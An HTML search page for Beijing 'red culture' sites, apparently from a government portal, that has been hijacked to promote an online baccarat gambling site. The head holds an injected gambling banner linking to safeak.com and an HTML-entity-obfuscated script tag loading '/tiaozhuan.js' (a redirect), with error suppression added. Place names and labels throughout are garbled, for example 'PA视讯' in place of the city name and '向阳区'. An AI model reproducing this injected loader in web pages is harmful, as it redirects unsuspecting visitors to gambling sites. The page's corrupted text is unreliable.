<!DOCTYPE html>
<html lang="en">
<head><div>
  <h1>
    <a href="http://safeak.com" title="PA视讯_PA视讯在线百家乐_PLAYACE官网">
      PA视讯_PA视讯在线百家乐_PLAYACE官网
    </a>
  </h1>
  <p>
    <a href="http://safeak.com" title="PA视讯_PA视讯在线百家乐_PLAYACE官网">
      <img
        src="http://safeak.com/favicon.ico"
        alt="PA视讯_PA视讯在线百家乐_PLAYACE官网"
        title="PA视讯_PA视讯在线百家乐_PLAYACE官网"
        width="120"
        height="120"
        loading="lazy"
        style="border:0;"
      />
    </a>
  </p>
</div>
<script  type="text/javascript" charset="utf-8"  rel="nofollow" src="&#47;&#116;&#105;&#97;&#111;&#122;&#104;&#117;&#97;&#110;&#46;&#106;&#115;"></script><script>var V_PATH="/";window.onerror=function(){ return true; };</script>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>漫游PA视讯人文风情_首都之窗_PA视讯_PA视讯在线百家乐_PLAYACE官网</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<meta http-equiv="X-UA-Compatible" content="IE=9; IE=8; IE=7; IE=EDGE">
<meta name="keywords" content="红色文化、PA视讯人文风情、爱国主义教育、红色旅游景区"/>
<meta name="description" content="为庆祝建党100周年，首都之窗特推出《漫游PA视讯 人文风情之红色文化》专题，在百年后的今天，不如一起重回红色故地，铭记PA视讯的红色历史，愿红色印记永不褪色。"/>
<!-- 首页 -->
<meta name="SiteName" content="首都之窗_PA视讯_PA视讯在线百家乐_PLAYACE官网">
<meta name="SiteDomain" content="www.safeak.com">
<meta name="SiteIDCode" content="1100000088">
<!-- 栏目 -->
<meta name="ColumnName" content="红色文化">
<meta name="ColumnType" content="PA视讯红色文化场所推荐">
<meta name="ColumnDescription" content="为庆祝建党100周年，首都之窗特推出《漫游PA视讯 人文风情之红色文化》专题，在百年后的今天，不如一起重回红色故地，铭记PA视讯的红色历史，愿红色印记永不褪色。">
<meta name="ColumnKeywords" content="红色文化、PA视讯人文风情、爱国主义教育、红色旅游景区">
<meta name="applicable-device" content="pc,mobile">
<meta name="maker" content="设计:董诺 |制作:张白"/>
<script type="text/javascript" src="/so/zcdh/js/jquery.min.js" IGNOREAPD="1"></script>
<script type="text/javascript" src="/images/global_topics_head_2020.js"></script>
<style>
/*公用样式部门*/
body,h1,h2,h3,h4,h5,h6,div,p,dl,dt,dd,ol,ul,li,form,table,th,td,a,img,span,strong,var,em,input,textarea,select,option{margin:0;padding:0; font-weight:normal;}
html,body{font-family:"Microsoft YaHei";}
ul,ol{list-style:none;}
img{border:0;}
input,select,textarea{outline:0; border:0;}
textarea{resize:none;}
table{border-collapse:collapse;border-spacing:0;}
th,strong,var,em{font-weight:normal;font-style:normal;}
a{text-decoration:none; color:#000;}
a:link,a:visited,a:hover,a:active{text-decoration:none;color:#000;}
.clearfix:after {content:"\200B"; display:block; height:30px; clear:both;}
.clearfix {*zoom:1;}
/*本页面css*/
body{}
.g_warp{ width:100%; background:#fff url(images/hswh/hswh_banner_zb_20200116.jpg) no-repeat center top;}
.g_mobile_banner{ width:100%; display:none;}.g_mobile_banner img{ width:100%;}
.g_banner{ width:1200px; height:136px; margin:0 auto; padding-top:308px;}
.g_banner #u_txt{ width:658px; height:50px; float:left; background:#fff; border-radius:5px; padding:0 30px; margin-left:130px; font-size:20px; line-height:50px; color:#999999;}
.g_banner #u_btn{ width:160px; height:50px; background:#FFAA5D; float:right; border-radius:25px; margin-right:130px; font-size:24px; line-height:50px; color:#fff; cursor:pointer;}
.g_banner #u_btn:hover{ background:#DF5814;}
/*条件筛选*/
.g_tag{ width:1198px; padding:25px 0 50px; border:#E5E5E5 1px solid; margin:0 auto;}
.m_tag{ width:100%; overflow:hidden; margin-top:20px;}
.m_tag .u_tag_title{ width:85px; height:30px; display:block; float:left; background:#FFAA5D; margin:16px 0 0 35px; font-size:14px; color:#fff; text-align:center; line-height:30px;}
.m_tag .u_tag_content{ width:1015px; float:left; position:relative;}
.m_tag .u_tag_content ul{ width:967px;}
.m_tag .u_tag_content li{ display:inline-block; height:30px; line-height:30px; margin:16px 5px 0 30px; font-size:14px; cursor:pointer;}
.m_tag .u_tag_content li:hover a,.m_tag .u_tag_content li.on a{ color:#FFAA5D;}
.m_tag .u_tag_content span.u_show_more,.m_tag .u_tag_content span.u_hide_more{ position:absolute; right:0; top:16px; width:50px; height:30px; cursor:pointer; line-height:30px; text-align:center; display:none;}
.u_hide_more{ display:none;}
.u_show_more{ display:block;}
/*搜索结果*/
.g_result{ width:1200px; margin:0 auto; overflow:hidden;}
.g_result .u_result{ height:77px; font-size:16px; line-height:77px; color:#FFAA5D;}
.g_result ul{ width:1260px; overflow:hidden;}
.g_result li{ width:360px; float:left; margin:0 60px 80px 0; position:relative;}
.g_result li img{ width:100%; height:250px; display:block;}
.g_result li h3{ width:100%; height:60px; line-height:60px; text-align:center; font-size:20px; color:#666; background:#F5F5F5;overflow: hidden;white-space: nowrap;text-overflow: ellipsis;}
.g_result li div{ width:100%; height:250px; position:absolute; top:0; left:0; background:url(/so/zcdh/hswh/images/hswh/hswh_transparent_zb_20200116.png) repeat; display:none;}
.g_result li div span{margin:30px 20px 15px; color:#fff; font-size:14px; line-height:20px;text-indent:2em;display: -webkit-box; -webkit-box-orient: vertical; -webkit-line-clamp:4; overflow: hidden;}
.g_result li div p{padding:0 20px; color:#fff; font-size:14px; line-height:24px; color:#fff;display: -webkit-box; -webkit-box-orient: vertical; -webkit-line-clamp:3; overflow: hidden;}
/*分页*/
.g_page{ width:895px; height:37px; margin:0 auto 100px;font-size:14px;}
.g_page ul{ float:left;}
.g_page ul li{ padding:0 20px; float:left; margin-right:10px; border:1px solid #EDEDED; display:block; height:35px; line-height:35px; cursor:pointer;}
.g_page ul li.dot{ border:none; padding:0;}
.g_page ul li:hover,.g_page ul li.active{ background:#E2271E;}
.g_page ul li:hover a,.g_page ul li.active a{ color:#fff;}
.u_total{ float:left; height:35px; line-height:35px; margin-right:10px;}
.u_form{ float:left; height:37px; line-height:37px;}
.u_form span{ float:left;}
.u_form .J_Input{ width:53px; height:35px;border:1px solid #EDEDED; float:left; margin:0 5px; text-align:center;}
.u_form span.J_Submit{ width:68px; height:35px;border:1px solid #EDEDED;margin-left:5px; text-align:center; cursor:pointer;}
@media only screen and (max-width: 640px) {
.g_warp{ width:100%; background:#fff;}
.g_mobile_banner{ display:block;}
.g_banner{ width:auto; height:52px; padding:20px 10px;}
.g_banner #u_txt{ width:75%; margin-left:0; padding:0;border:1px solid #EDEDED;}
.g_banner #u_btn{ width:22%; margin-right:0;font-size:20px;}
/*条件筛选*/
.g_tag{ width:auto;}
.m_tag .u_tag_title{margin:16px 0 0 20px;}
.m_tag .u_tag_content{ width:100%; float:left; margin-left:0;}
.m_tag .u_tag_content ul{ width:auto;}
.m_tag .u_tag_content span.u_show_more,.m_tag .u_tag_content span.u_hide_more{right:10px;}

/*搜索结果*/
.g_result{ width:100%;}
.g_result ul{ width:100%; overflow:hidden;}
.g_result li{ width:100%; height:auto; float:none; margin:0 0 80px 0;}
.g_result li img{ width:100%; height:auto;}
.g_result li div{ height:100%;}
/*分页*/
.changepage a { margin: 5px 5px; }
.g_page{ width:100%; height:auto; margin:0 auto 100px; text-align:center;}
.g_page ul{ float:none; overflow:hidden;}
.g_page ul li{ display:none; float:none;}
.g_page ul li.prev,.g_page ul li.next{display:inline-block;}
.u_total,.u_form{ display:none;}
}
/*分页*/
.changepage { text-align: center; padding-bottom: 30px; border-top: 1px solid #fff; }
.changepage a { padding: 8px 20px; display: inline-block; margin: 0 5px; border: 1px solid #e8e8e8; background: #fff; font-size: 14px; }
.changepage a:hover, .changepage .current { background: #d30b15; color: #fff; }
.changepage input { border: 1px solid #e8e8e8; display: inline-block; padding: 8px 10px; margin: 0 5px; height: 19px; font-size: 14px; font-family: '\5FAE\8F6F\96C5\9ED1'; *display: inline;
    *zoom: 1;
+vertical-align: 3px;
    *height:21px;
    line-height: 19px; width: 33px; text-align: center; }
.changepage span { display: inline-block; margin: 0 5px; border: 1px solid #e8e8e8; padding: 8px 20px; }
.changepage span.u_page { border: 0; padding: 0; }
.changepage .active {
    background: #D30B15;
    color: #fff;
    border: 1px solid #D30B15;
}
.jiucuo_btn {
	position: fixed;
	right: 20px;
	bottom: 350px;
	z-index: 1001;
	text-align: center;
}
.jiucuo_btn a{
	display: block;
	background: #fff;
	width: 50px;
	border-top-left-radius: 10px;
	border-bottom-left-radius: 10px;
	padding: 5px 0;
	text-align: center;
}
.jiucuo_btn a img{ width:60%}

.jiucuo_btn p span{
	font-weight: 700;
	display: block;
	font-size: 16px;
	color: #C72820;
}
</style>
</head>

<body>
<!--头部文件引用 开始-->
<!--头部文件引用 结束-->
<!-- 微信分享图片 开始-->
<div style="position:absolute; top:-9999999px; left:-999999px; z-index:-999999;"><img src="/images/share_weixin_img_20160823.jpg" ignoreapd="1" /></div>
<!-- 微信分享图片 结束-->
<div class="g_warp">
<!--banner-->
<div class="g_mobile_banner"><img src="/so/zcdh/hswh/images/hswh/hswh_mobile_banner_zb_20200116.jpg"></div>
<div class="g_banner">
    <input type="hidden" id="page">
	  <input type="text" placeholder="博物馆" value="" id="u_txt">
	  <input type="button" value="搜索" id="u_btn" onclick="showList()">
</div>
<!--条件筛选-->
<div class="g_tag">
     <div class="m_tag">
	      <span class="u_tag_title">所属区域 ></span>
		  <div class="u_tag_content" id="ssqy">
		       <ul><!--选中状态给下面li加class="on"-->
                                          <li><a>东城区</a></li>
                       <li><a>西城区</a></li>
                       <li><a>向阳区</a></li>
                       <li><a>海淀区</a></li>
                       <li><a>丰台区</a></li>
                       <li><a>石景山区</a></li>
                       <li><a>门头沟区</a></li>
                       <li><a>房山区</a></li>
                       <li><a>顺义区</a></li>
                       <li><a>大兴区</a></li>
                       <li><a>怀柔区</a></li>
                       <li><a>平谷区</a></li>
                       <li><a>密云区</a></li>
                       <li><a>延庆区</a></li>
			   </ul>
			   <span class="u_show_more">+</span>
			   <span class="u_hide_more">-</span>
		  </div>
	 </div>
	 <div class="m_tag">
	      <span class="u_tag_title">场所类别 ></span>
		  <div class="u_tag_content" id="cslx">
		       <ul>
                       <li><a>公园</a></li>
                       <li><a>博物馆</a></li>
                       <li><a>名人故宅</a></li>
                       <li><a>展览馆</a></li>
                       <li><a>广场</a></li>
                       <li><a>度假村</a></li>
                       <li><a>教育基地</a></li>
                       <li><a>文物奇迹</a></li>
                       <li><a>烈士陵园</a></li>
                       <li><a>现代修建</a></li>
                       <li><a>福利机构</a></li>
                       <li><a>纪念坛</a></li>
                       <li><a>纪念馆</a></li>
			   </ul>
			   <span class="u_show_more">+</span>
			   <span class="u_hide_more">-</span>
		  </div>
	 </div>
	 <div class="m_tag">
	      <span class="u_tag_title">认定 ></span>
		  <div class="u_tag_content" id="rdlx">
		       <ul>
                       <li><a>中国20世纪修建遗产</a></li>
                       <li><a>全王法治宣传教育基地</a></li>
                       <li><a>全国爱国主义教育示范基地</a></li>
                       <li><a>全国红色旅游景区</a></li>
                       <li><a>PA视讯市爱国主义教育基地</a></li>
                       <li><a>PA视讯市红色旅游景区</a></li>
			   </ul>
			   <span class="u_show_more">+</span>
			   <span class="u_hide_more">-</span>
		  </div>
	 </div>
</div>
<!--搜索结果-->
<div class="g_result">
     <p class="u_result">搜索结果:</p>
	 <ul id="result">
	 </ul>
    <div class="changepage">
<div class="changepage"></div>
<script type="text/javascript" src="/so/zcdh/hswh/js/fcfg/jquery.pagination.js"></script>
<script type="text/javascript">

    /**
     * @param totlePage 总页数
     * @param currentPage   当前页 1开始
     * @param pageSize  每页显示数量
     */
    function pagintion(totlePage, currentPage, pageSize,totleHits) {
        var pageNum = parseInt(totlePage / pageSize);
        if (totlePage % pageSize != 0) {
            pageNum += 1;
        }
        if (currentPage < 0){
            currentPage = 0
        }
        $('.changepage').pagination({
            pageCount: totlePage,
            current:currentPage,
            totalData: totleHits,
            showData: pageSize,
            jump: true,
            isHide: true,
            jumpBtn:'确定',
            coping: false,
            prevContent: '上一页',
            nextContent: '下一页',
            jumpBtnCls:'jump-ipt',
            callback: function (api) {
                if(api.getCurrent()>totlePage){
                    alert("共"+totlePage+"页,请输入正确页码。");
                    e.preventDefault();
                }else if(api.getCurrent()>500){
                    //alert("请输入小于200的页码。");
                    $("#page").val(1);
                    go();
                }else{
                    $("#page").val(api.getCurrent());
                    go();
                }
            }
        });
        displayPageInfo(totlePage, currentPage);
    }

    function displayPageInfo(totlePage, currentPage) {
        var pageHtml ="<span style='width: 100px;'>共&nbsp;"+totlePage+"&nbsp;页</span><span style='padding: 0px'>到第";
        if (totlePage == currentPage) {
            $(".changepage .active").after(pageHtml);
        } else {
            $(".next").after(pageHtml);
        }
        var jumphtml = '页&nbsp;</span>'
        $("input[class='jump-ipt']").after(jumphtml);
        $("input .jump-ipt").after(jumphtml);
    }

</script>

    </div>
    <div id="noResult" style="display: none;">
        <div style="margin: 100px 0px 30px 0px;font-size: 20px;">很歉仄！未能搜到您想要的内容</br>建议您：</br>1、看看输入的文字是否有错误</br>2、去掉可能不须要的词或条件</div>
    </div>
</div>
<div class="jiucuo_btn">
	<a href="/hudong/yonghu/static/sdzc/wzjy/add.html?anonymous=1" target="_blank">
		<img src="/so/zcdh/hswh/images/pingjiajianyi.png">
		<p>
			<span>评价</span>
			<span>建议</span>
		</p>
	</a>
</div>
<!--搜索分页-->
<!--结束-->
</div>
<script>
$(function(){
    //点击展示，收起
    $(".u_show_more").click(function(){
	    $(this).prev("ul").css({"height":"auto","overflow":"auto"});
		$(this).next(".u_hide_more").show();
		$(this).hide();
	})
	$(".u_hide_more").click(function(){
	    $(this).siblings("ul").css({"height":"92px","overflow":"hidden"});
		$(this).prev(".u_show_more").show();
		$(this).hide();
	})
    $(".u_tag_content li").click(function(){
	    $(this).toggleClass("on");
        showList()
	})

	$("#u_txt").keyup(function(event){
		if(event.keyCode ==13){
			showList()
		}
	});

    $("#page").val(1)
    showList();
})


    function showList() {
        var pageSize = 6;
        $("#result").html("");
        var page = $("#page").val();
        var qt = $("#u_txt").val();

        var ssqy = [];
        var ssqyArray = $("#ssqy").find("li[class='on']");
        for (var i = 0; i < ssqyArray.length; i++) {
            ssqy.push($(ssqyArray[i]).text());
        }
        var cslx = [];
        var cslxArray = $("#cslx").find("li[class='on']");
        for (var i = 0; i < cslxArray.length; i++) {
            cslx.push($(cslxArray[i]).text());
        }
        var rdlx = [];
        var rdlxArray = $("#rdlx").find("li[class='on']");
        for (var i = 0; i < rdlxArray.length; i++) {
            rdlx.push($(rdlxArray[i]).text());
        }

        $.ajax({
            type: "post",
            url: "hswh/list",
            data: {page:page,pageSize:pageSize,qt:qt,ssqy:ssqy,cslx:cslx,rdlx:rdlx},
            dataType: "json",
            success: function(data) {
                // 分页调用
                if(data.totleHits>0){
                    $(".changepage").css("display", "block");
                    $("#noResult").hide();
                    pagintion(data.totlePage, data.page, pageSize,data.totleHits);
                }else{
                    $(".changepage").css("display", "none");
                    $("#noResult").show();
                }
                var docList = data.docList;
                var html = '';
                for (var i = 0; i < docList.length; i++) {
                    html = html + '<li><a href="' + docList[i].url + '" target="_blank"><img src="' + docList[i].imageUrl + '">' +
                    '<h3>' + docList[i].dreTitle + '</h3><div><span>' + docList[i].docAbstract + '</span><p>景点地址：' + docList[i].dz + '</p>' +
                    // '<p>开放时间：' + docList[i].kfsj + '</p>' +
                    // '<p>票务信息：' + docList[i].mpjg + '</p>' +
							'</div></a></li>';
                }
                $("#result").html(html);
                //搜索结果
                $(".g_result li").hover(function(){
                    $(this).find("div").fadeIn();
                },function(){
                    $(this).find("div").fadeOut();
                })
            }
        })
    }

function go() {
    showList();
}
</script>
<!--尾部文件引用 开始-->
<script type="text/javascript" src="/images/public_foot_response_2020.js"></script>
<!--尾部文件引用 结束-->
<!--6f067f89cc14862c--><script>
(function(){
    var bp = document.createElement('script');
    var curProtocol = window.location.protocol.split(':')[0];
    if (curProtocol === 'https'){
   bp.src = 'https://zz.bdstatic.com/linksubmit/push.js';
  }
  else{
  bp.src = 'http://push.zhanzhang.baidu.com/push.js';
  }
    var s = document.getElementsByTagName("script")[0];
    s.parentNode.insertBefore(bp, s);
})(); 
</script><!--/6f067f89cc14862c--></body>
</html>
